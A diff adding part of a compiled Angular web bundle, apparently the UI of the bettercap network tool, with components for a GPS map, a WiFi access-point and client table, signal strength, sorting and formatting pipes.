+ https://www.maps.ie/map-my-route/
+
+ idx: number = 0;
+ steps: any = [
+ [40.861793161679294,-73.04730981588365],[40.861793,-73.047311],[40.862143,-73.04736],[40.862143,-73.04736],[40.862492,-73.047415],[40.862492,-73.047415],[40.862842,-73.047465],[40.862842,-73.047465],[40.863002,-73.047493],[40.863002,-73.047493],[40.863337,-73.04756],[40.863337,-73.04756],[40.863593,-73.047618],[40.863593,-73.047618],[40.863881,-73.047683],[40.863891,-73.047619],[40.863891,-73.047619],[40.863881,-73.047683],[40.864028,-73.047655],[40.86417,-73.047699],[40.86417,-73.047699],[40.86441,-73.047774],[40.864478,-73.04785],[40.864477,-73.04775],[40.864477,-73.04775],[40.864478,-73.04785],[40.864809,-73.047897],[40.864809,-73.047897],[40.865154,-73.047946],[40.865154,-73.047946],[40.865536,-73.048015],[40.865536,-73.048015],[40.865798,-73.048062],[40.865808,-73.047966],[40.865808,-73.047966],[40.865851,-73.047547],[40.865851,-73.047547],[40.865907,-73.047013],[40.865907,-73.047013],[40.865959,-73.046432],[40.865959,-73.046432],[40.86598,-73.046222],[40.866253,-73.046266],[40.866253,-73.046266],[40.866527,-73.046309],[40.866527,-73.046309],[40.866741,-73.046424],[40.866775,-73.046513],[40.866771,-73.046557],[40.866771,-73.046557],[40.866715,-73.047177],[40.866715,-73.047177],[40.866682,-73.047523],[40.866682,-73.047523],[40.86666,-73.0476],[40.866528,-73.047892],[40.866528,-73.047892],[40.866477,-73.048318],[40.866477,-73.048318],[40.86644,-73.048698],[40.86644,-73.048698],[40.866401,-73.0491],[40.866401,-73.0491],[40.866349,-73.049643],[40.866349,-73.049643],[40.86633,-73.049841],[40.866261,-73.049828],[40.866261,-73.049828],[40.866151,-73.049807],[40.866151,-73.049807],[40.865965,-73.049772],[40.865965,-73.049772],[40.865747,-73.04973],[40.865747,-73.04973],[40.865402,-73.049664],[40.865402,-73.049664],[40.865034,-73.049664],[40.865034,-73.049664],[40.865005,-73.049665],[40.864982,-73.049925],[40.864982,-73.049925],[40.864939,-73.050328],[40.864939,-73.050328],[40.864922,-73.050414],[40.864824,-73.050632],[40.864723,-73.05079],[40.864723,-73.05079],[40.864586,-73.051003],[40.864586,-73.051003],[40.86468,-73.050856],[40.864367,-73.050821],[40.864367,-73.050821],[40.86468,-73.050856],[40.864824,-73.050632],[40.864113,-73.050546],[40.864113,-73.050546],[40.864005,-73.050533],[40.864005,-73.050533],[40.864005,-73.050533]
+ ];
+ */
+ PositionComponent.prototype.update = function () {
+ this.running = this.api.module('gps').running;
+ if (this.map) {
+ /*
+ let step = this.steps[this.idx++ % this.steps.length];
+ this.api.session.gps.Longitude = step[1];
+ this.api.session.gps.Latitude = step[0];
+ */
+ this.addMarker(this.api.session.gps.Latitude, this.api.session.gps.Longitude);
+ var view = this.map.getView();
+ view.setCenter(ol.proj.fromLonLat([this.api.session.gps.Longitude, this.api.session.gps.Latitude]));
+ }
+ };
+ PositionComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-position',
+ template: __webpack_require__(/*! ./position.component.html */ "./src/app/components/position/position.component.html"),
+ styles: [__webpack_require__(/*! ./position.component.scss */ "./src/app/components/position/position.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_api_service__WEBPACK_IMPORTED_MODULE_2__["ApiService"], _services_omnibar_service__WEBPACK_IMPORTED_MODULE_3__["OmniBarService"]])
+ ], PositionComponent);
+ return PositionComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/rectime.pipe.ts":
+/*!********************************************!*\
+ !*** ./src/app/components/rectime.pipe.ts ***!
+ \********************************************/
+/*! exports provided: RecTimePipe */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "RecTimePipe", function() { return RecTimePipe; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var RecTimePipe = /** @class */ (function () {
+ function RecTimePipe() {
+ }
+ // https://www.tutorialspoint.com/How-to-convert-seconds-to-HH-MM-SS-with-JavaScript
+ RecTimePipe.prototype.transform = function (sec) {
+ if (sec === void 0) { sec = 0; }
+ var hrs = Math.floor(sec / 3600);
+ var min = Math.floor((sec - (hrs * 3600)) / 60);
+ var seconds = sec - (hrs * 3600) - (min * 60);
+ seconds = Math.round(seconds * 100) / 100;
+ var result = String(hrs < 10 ? "0" + hrs : hrs);
+ result += ":" + (min < 10 ? "0" + min : min);
+ result += ":" + (seconds < 10 ? "0" + seconds : seconds);
+ return result;
+ };
+ RecTimePipe = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Pipe"])({ name: 'rectime' })
+ ], RecTimePipe);
+ return RecTimePipe;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/search.pipe.ts":
+/*!*******************************************!*\
+ !*** ./src/app/components/search.pipe.ts ***!
+ \*******************************************/
+/*! exports provided: SearchPipe */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SearchPipe", function() { return SearchPipe; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var SearchPipe = /** @class */ (function () {
+ function SearchPipe() {
+ }
+ SearchPipe.prototype.transform = function (values, term) {
+ return values.filter(function (x) {
+ if (term.length < 3)
+ return true;
+ term = term.toLowerCase();
+ for (var field in x) {
+ var val = JSON.stringify(x[field]);
+ if (val.toLowerCase().includes(term)) {
+ return true;
+ }
+ }
+ return false;
+ });
+ };
+ SearchPipe = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Pipe"])({ name: 'search' })
+ ], SearchPipe);
+ return SearchPipe;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/signal-indicator/signal-indicator.component.html":
+/*!*****************************************************************************!*\
+ !*** ./src/app/components/signal-indicator/signal-indicator.component.html ***!
+ \*****************************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n = 1\">\n = 2\">\n = 3\">\n \n
\n"
+
+/***/ }),
+
+/***/ "./src/app/components/signal-indicator/signal-indicator.component.scss":
+/*!*****************************************************************************!*\
+ !*** ./src/app/components/signal-indicator/signal-indicator.component.scss ***!
+ \*****************************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = ".signal-indicator--wrapper {\n width: 30px;\n display: table-cell;\n}\n.signal-indicator--wrapper:after {\n content: \"\";\n display: table;\n clear: both;\n}\n.signal-indicator--wrapper .signal-indicator--step {\n display: inline-block;\n background-color: #32383e;\n width: 5px;\n transition: height 0.2s ease-in-out;\n margin-right: 3px;\n margin-bottom: 4px;\n vertical-align: bottom;\n}\n.signal-indicator--wrapper .signal-indicator--step:last-child {\n margin-right: 0;\n}\n.signal-indicator--wrapper .signal-indicator--step.signal-indicator__step1 {\n height: 2px;\n}\n.signal-indicator--wrapper .signal-indicator--step.signal-indicator__step2 {\n height: 5px;\n}\n.signal-indicator--wrapper .signal-indicator--step.signal-indicator__step3 {\n height: 10px;\n}\n.signal-indicator--wrapper .signal-indicator--step.signal-indicator__step4 {\n height: 15px;\n}\n.signal-indicator--wrapper.step__1 .currentStep {\n background-color: red;\n}\n.signal-indicator--wrapper.step__2 .currentStep {\n background-color: yellow;\n}\n.signal-indicator--wrapper.step__3 .currentStep {\n background-color: yellowgreen;\n}\n.signal-indicator--wrapper.step__4 .currentStep {\n background-color: green;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvc2lnbmFsLWluZGljYXRvci9zaWduYWwtaW5kaWNhdG9yLmNvbXBvbmVudC5zY3NzIiwic3JjL2FwcC9jb21wb25lbnRzL3NpZ25hbC1pbmRpY2F0b3Ivc2lnbmFsLWluZGljYXRvci5jb21wb25lbnQuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQU1FLFdBQUE7RUFDQSxtQkFBQTtBQ0pGO0FERkU7RUFDRSxXQUFBO0VBQ0EsY0FBQTtFQUNBLFdBQUE7QUNJSjtBREFFO0VBQ0UscUJBQUE7RUFDQSx5QkFBQTtFQUNBLFVBQUE7RUFDQSxtQ0FBQTtFQUNBLGlCQUFBO0VBQ0Esa0JBQUE7RUFDQSxzQkFBQTtBQ0VKO0FEREk7RUFDRSxlQUFBO0FDR047QURESTtFQUNFLFdBQUE7QUNHTjtBRERJO0VBQ0UsV0FBQTtBQ0dOO0FEREk7RUFDRSxZQUFBO0FDR047QURESTtFQUNFLFlBQUE7QUNHTjtBRENJO0VBQ0UscUJBQUE7QUNDTjtBREdJO0VBQ0Usd0JBQUE7QUNETjtBREtJO0VBQ0UsNkJBQUE7QUNITjtBRE9JO0VBQ0UsdUJBQUE7QUNMTiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvc2lnbmFsLWluZGljYXRvci9zaWduYWwtaW5kaWNhdG9yLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiLnNpZ25hbC1pbmRpY2F0b3ItLXdyYXBwZXIge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnJztcbiAgICBkaXNwbGF5OnRhYmxlO1xuICAgIGNsZWFyOmJvdGg7XG4gIH1cbiAgd2lkdGg6MzBweDtcbiAgZGlzcGxheTp0YWJsZS1jZWxsO1xuICAuc2lnbmFsLWluZGljYXRvci0tc3RlcCB7XG4gICAgZGlzcGxheTppbmxpbmUtYmxvY2s7XG4gICAgYmFja2dyb3VuZC1jb2xvcjojMzIzODNlO1xuICAgIHdpZHRoOjVweDtcbiAgICB0cmFuc2l0aW9uOiBoZWlnaHQgLjJzIGVhc2UtaW4tb3V0O1xuICAgIG1hcmdpbi1yaWdodDozcHg7XG4gICAgbWFyZ2luLWJvdHRvbTogNHB4O1xuICAgIHZlcnRpY2FsLWFsaWduOiBib3R0b207XG4gICAgJjpsYXN0LWNoaWxkIHtcbiAgICAgIG1hcmdpbi1yaWdodDowO1xuICAgIH1cbiAgICAmLnNpZ25hbC1pbmRpY2F0b3JfX3N0ZXAxe1xuICAgICAgaGVpZ2h0OjJweDtcbiAgICB9XG4gICAgJi5zaWduYWwtaW5kaWNhdG9yX19zdGVwMntcbiAgICAgIGhlaWdodDo1cHg7XG4gICAgfVxuICAgICYuc2lnbmFsLWluZGljYXRvcl9fc3RlcDN7XG4gICAgICBoZWlnaHQ6MTBweDtcbiAgICB9XG4gICAgJi5zaWduYWwtaW5kaWNhdG9yX19zdGVwNHtcbiAgICAgIGhlaWdodDoxNXB4O1xuICAgIH1cbiAgfVxuICAmLnN0ZXBfXzF7XG4gICAgLmN1cnJlbnRTdGVwIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6cmVkO1xuICAgIH1cbiAgfVxuICAmLnN0ZXBfXzJ7XG4gICAgLmN1cnJlbnRTdGVwIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6eWVsbG93O1xuICAgIH1cbiAgfVxuICAmLnN0ZXBfXzN7XG4gICAgLmN1cnJlbnRTdGVwIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6eWVsbG93Z3JlZW47XG4gICAgfVxuICB9XG4gICYuc3RlcF9fNHtcbiAgICAuY3VycmVudFN0ZXAge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjpncmVlbjtcbiAgICB9XG4gIH1cbn1cbiIsIi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyIHtcbiAgd2lkdGg6IDMwcHg7XG4gIGRpc3BsYXk6IHRhYmxlLWNlbGw7XG59XG4uc2lnbmFsLWluZGljYXRvci0td3JhcHBlcjphZnRlciB7XG4gIGNvbnRlbnQ6IFwiXCI7XG4gIGRpc3BsYXk6IHRhYmxlO1xuICBjbGVhcjogYm90aDtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyIC5zaWduYWwtaW5kaWNhdG9yLS1zdGVwIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzIzODNlO1xuICB3aWR0aDogNXB4O1xuICB0cmFuc2l0aW9uOiBoZWlnaHQgMC4ycyBlYXNlLWluLW91dDtcbiAgbWFyZ2luLXJpZ2h0OiAzcHg7XG4gIG1hcmdpbi1ib3R0b206IDRweDtcbiAgdmVydGljYWwtYWxpZ246IGJvdHRvbTtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyIC5zaWduYWwtaW5kaWNhdG9yLS1zdGVwOmxhc3QtY2hpbGQge1xuICBtYXJnaW4tcmlnaHQ6IDA7XG59XG4uc2lnbmFsLWluZGljYXRvci0td3JhcHBlciAuc2lnbmFsLWluZGljYXRvci0tc3RlcC5zaWduYWwtaW5kaWNhdG9yX19zdGVwMSB7XG4gIGhlaWdodDogMnB4O1xufVxuLnNpZ25hbC1pbmRpY2F0b3ItLXdyYXBwZXIgLnNpZ25hbC1pbmRpY2F0b3ItLXN0ZXAuc2lnbmFsLWluZGljYXRvcl9fc3RlcDIge1xuICBoZWlnaHQ6IDVweDtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyIC5zaWduYWwtaW5kaWNhdG9yLS1zdGVwLnNpZ25hbC1pbmRpY2F0b3JfX3N0ZXAzIHtcbiAgaGVpZ2h0OiAxMHB4O1xufVxuLnNpZ25hbC1pbmRpY2F0b3ItLXdyYXBwZXIgLnNpZ25hbC1pbmRpY2F0b3ItLXN0ZXAuc2lnbmFsLWluZGljYXRvcl9fc3RlcDQge1xuICBoZWlnaHQ6IDE1cHg7XG59XG4uc2lnbmFsLWluZGljYXRvci0td3JhcHBlci5zdGVwX18xIC5jdXJyZW50U3RlcCB7XG4gIGJhY2tncm91bmQtY29sb3I6IHJlZDtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyLnN0ZXBfXzIgLmN1cnJlbnRTdGVwIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogeWVsbG93O1xufVxuLnNpZ25hbC1pbmRpY2F0b3ItLXdyYXBwZXIuc3RlcF9fMyAuY3VycmVudFN0ZXAge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3dncmVlbjtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyLnN0ZXBfXzQgLmN1cnJlbnRTdGVwIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47XG59Il19 */"
+
+/***/ }),
+
+/***/ "./src/app/components/signal-indicator/signal-indicator.component.ts":
+/*!***************************************************************************!*\
+ !*** ./src/app/components/signal-indicator/signal-indicator.component.ts ***!
+ \***************************************************************************/
+/*! exports provided: SignalIndicatorComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SignalIndicatorComponent", function() { return SignalIndicatorComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var SignalIndicatorComponent = /** @class */ (function () {
+ function SignalIndicatorComponent() {
+ this.signal = 0;
+ }
+ SignalIndicatorComponent.prototype.ngOnChanges = function (changes) {
+ if (changes.signalstrength) {
+ this.signal = this._calculateStrength(changes.signalstrength.currentValue);
+ }
+ };
+ // ref. https://www.metageek.com/training/resources/understanding-rssi-2.html
+ SignalIndicatorComponent.prototype._calculateStrength = function (value) {
+ if (value >= -67)
+ return 4;
+ else if (value >= -70)
+ return 3;
+ else if (value >= -80)
+ return 2;
+ else
+ return 1;
+ };
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Input"])(),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:type", Number)
+ ], SignalIndicatorComponent.prototype, "signalstrength", void 0);
+ SignalIndicatorComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-signal-indicator',
+ template: __webpack_require__(/*! ./signal-indicator.component.html */ "./src/app/components/signal-indicator/signal-indicator.component.html"),
+ styles: [__webpack_require__(/*! ./signal-indicator.component.scss */ "./src/app/components/signal-indicator/signal-indicator.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [])
+ ], SignalIndicatorComponent);
+ return SignalIndicatorComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/size.pipe.ts":
+/*!*****************************************!*\
+ !*** ./src/app/components/size.pipe.ts ***!
+ \*****************************************/
+/*! exports provided: SizePipe */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SizePipe", function() { return SizePipe; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var SizePipe = /** @class */ (function () {
+ function SizePipe() {
+ this.units = [
+ 'B',
+ 'KB',
+ 'MB',
+ 'GB',
+ 'TB',
+ 'PB'
+ ];
+ }
+ SizePipe.prototype.transform = function (bytes, precision) {
+ if (bytes === void 0) { bytes = 0; }
+ if (precision === void 0) { precision = 2; }
+ var sbytes = String(bytes);
+ if (isNaN(parseFloat(sbytes)) || !isFinite(bytes))
+ return sbytes;
+ else if (bytes == 0)
+ return '0';
+ var unit = 0;
+ while (bytes >= 1024) {
+ bytes /= 1024;
+ unit++;
+ }
+ return bytes.toFixed(+precision) + ' ' + this.units[unit];
+ };
+ SizePipe = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Pipe"])({ name: 'size' })
+ ], SizePipe);
+ return SizePipe;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/sortable-column/sortable-column.component.html":
+/*!***************************************************************************!*\
+ !*** ./src/app/components/sortable-column/sortable-column.component.html ***!
+ \***************************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n \n \n \n \n \n\n"
+
+/***/ }),
+
+/***/ "./src/app/components/sortable-column/sortable-column.component.ts":
+/*!*************************************************************************!*\
+ !*** ./src/app/components/sortable-column/sortable-column.component.ts ***!
+ \*************************************************************************/
+/*! exports provided: SortableColumnComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SortableColumnComponent", function() { return SortableColumnComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _services_sort_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../services/sort.service */ "./src/app/services/sort.service.ts");
+
+
+
+var SortableColumnComponent = /** @class */ (function () {
+ function SortableColumnComponent(sortService) {
+ this.sortService = sortService;
+ this.sortDirection = '';
+ this.sortType = '';
+ }
+ SortableColumnComponent.prototype.sort = function () {
+ this.sortDirection = this.sortDirection === 'asc' ? 'desc' : 'asc';
+ this.sortService.emitSort({
+ field: this.columnName,
+ direction: this.sortDirection,
+ type: this.sortType,
+ });
+ };
+ SortableColumnComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ // subscribe to sort changes so we can react when other columns are sorted
+ this.sortService.onSort.subscribe(function (event) {
+ // reset this column's sort direction to hide the sort icons
+ if (_this.columnName != event.field) {
+ _this.sortDirection = '';
+ }
+ });
+ };
+ SortableColumnComponent.prototype.ngOnDestroy = function () {
+ };
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Input"])('sortable-column'),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:type", String)
+ ], SortableColumnComponent.prototype, "columnName", void 0);
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Input"])('sort-direction'),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:type", String)
+ ], SortableColumnComponent.prototype, "sortDirection", void 0);
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Input"])('sort-type'),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:type", String)
+ ], SortableColumnComponent.prototype, "sortType", void 0);
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["HostListener"])('click'),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:type", Function),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", []),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:returntype", void 0)
+ ], SortableColumnComponent.prototype, "sort", null);
+ SortableColumnComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: '[sortable-column]',
+ template: __webpack_require__(/*! ./sortable-column.component.html */ "./src/app/components/sortable-column/sortable-column.component.html")
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_sort_service__WEBPACK_IMPORTED_MODULE_2__["SortService"]])
+ ], SortableColumnComponent);
+ return SortableColumnComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/unbash.pipe.ts":
+/*!*******************************************!*\
+ !*** ./src/app/components/unbash.pipe.ts ***!
+ \*******************************************/
+/*! exports provided: UnbashPipe */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "UnbashPipe", function() { return UnbashPipe; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var UnbashPipe = /** @class */ (function () {
+ function UnbashPipe() {
+ }
+ // https://stackoverflow.com/questions/25245716/remove-all-ansi-colors-styles-from-strings
+ UnbashPipe.prototype.transform = function (data) {
+ return String(data).replace(/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g, '');
+ };
+ UnbashPipe = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Pipe"])({ name: 'unbash' })
+ ], UnbashPipe);
+ return UnbashPipe;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/wifi-table/wifi-table.component.html":
+/*!*****************************************************************!*\
+ !*** ./src/app/components/wifi-table/wifi-table.component.html ***!
+ \*****************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n
\n \n \n | RSSI | \n BSSID | \n ESSID | \n Vendor | \n Encryption | \n\n Ch | \n \n \n | \n\n Clients | \n Sent | \n Recvd | \n Seen | \n
\n \n \n\n \n | \n empty\n | \n
\n\n \n \n | \n \n | \n \n \n \n \n \n | \n\n '\">\n {{ ap.hostname }}\n {{ ap.alias }}\n | \n\n \n {{ ap.vendor ? ap.vendor : 'unknown' }}\n | \n\n \n \n\n \n \n {{ ap.encryption }}\n \n\n \n \n\n \n \n\n | \n \n \n \n | \n \n {{ ap.channel }}\n | \n\n \n 0\n 0\">\n \n {{ ap.clients.length }}\n \n \n \n \n | \n\n {{ ap.sent | size }} | \n {{ ap.received | size }} | \n {{ ap.last_seen | date: 'HH:mm:ss' }} | \n\n
\n \n \n
\n \n
\n \n \n | RSSI | \n MAC | \n Vendor | \n Sent | \n Recvd | \n First Seen | \n Last Seen | \n
\n \n \n \n | \n empty\n | \n
\n\n \n | \n \n | \n \n \n \n \n \n\n \n {{ client.alias }}\n \n | \n \n {{ client.vendor ? client.vendor : 'unknown' }}\n | \n {{ client.sent | size }} | \n {{ client.received | size }} | \n \n {{ client.first_seen | date: 'HH:mm:ss' }}\n | \n \n {{ client.last_seen | date: 'HH:mm:ss' }}\n | \n
\n \n
\n
\n\n
\n\n"
+
+/***/ }),
+
+/***/ "./src/app/components/wifi-table/wifi-table.component.scss":
+/*!*****************************************************************!*\
+ !*** ./src/app/components/wifi-table/wifi-table.component.scss ***!
+ \*****************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvd2lmaS10YWJsZS93aWZpLXRhYmxlLmNvbXBvbmVudC5zY3NzIn0= */"
+
+/***/ }),
+
+/***/ "./src/app/components/wifi-table/wifi-table.component.ts":
+/*!***************************************************************!*\
+ !*** ./src/app/components/wifi-table/wifi-table.component.ts ***!
+ \***************************************************************/
+/*! exports provided: WifiTableComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "WifiTableComponent", function() { return WifiTableComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _services_sort_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../services/sort.service */ "./src/app/services/sort.service.ts");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../services/omnibar.service */ "./src/app/services/omnibar.service.ts");
+/* harmony import */ var _services_clipboard_service__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../services/clipboard.service */ "./src/app/services/clipboard.service.ts");
+
+
+
+
+
+
+var WifiTableComponent = /** @class */ (function () {
+ function WifiTableComponent(api, sortService, omnibar, clipboard) {
+ this.api = api;
+ this.sortService = sortService;
+ this.omnibar = omnibar;
+ this.clipboard = clipboard;
+ this.aps = [];
+ this.visibleWPS = null;
+ this.visibleClients = {};
+ this.visibleMenu = null;
+ this.visibleClientMenu = null;
+ this.currAP = null;
+ this.hopping = true;
+ this.sort = { field: 'rssi', direction: 'asc', type: '' };
+ this.update(this.api.session);
+ }
+ WifiTableComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.api.onNewData.subscribe(function (session) {
+ _this.update(session);
+ });
+ this.sortSub = this.sortService.onSort.subscribe(function (event) {
+ _this.sort = event;
+ _this.sortService.sort(_this.aps, event);
+ });
+ };
+ WifiTableComponent.prototype.ngOnDestroy = function () {
+ this.sortSub.unsubscribe();
+ };
+ WifiTableComponent.prototype.setAlias = function (host) {
+ $('#in').val(host.alias);
+ $('#inhost').val(host.mac);
+ $('#inputModalTitle').html('Set alias for ' + host.mac);
+ $('#inputModal').modal('show');
+ };
+ WifiTableComponent.prototype.doSetAlias = function () {
+ $('#inputModal').modal('hide');
+ var mac = $('#inhost').val();
+ var alias = $('#in').val();
+ if (alias.trim() == "")
+ alias = '""';
+ this.api.cmd("alias " + mac + " " + alias);
+ };
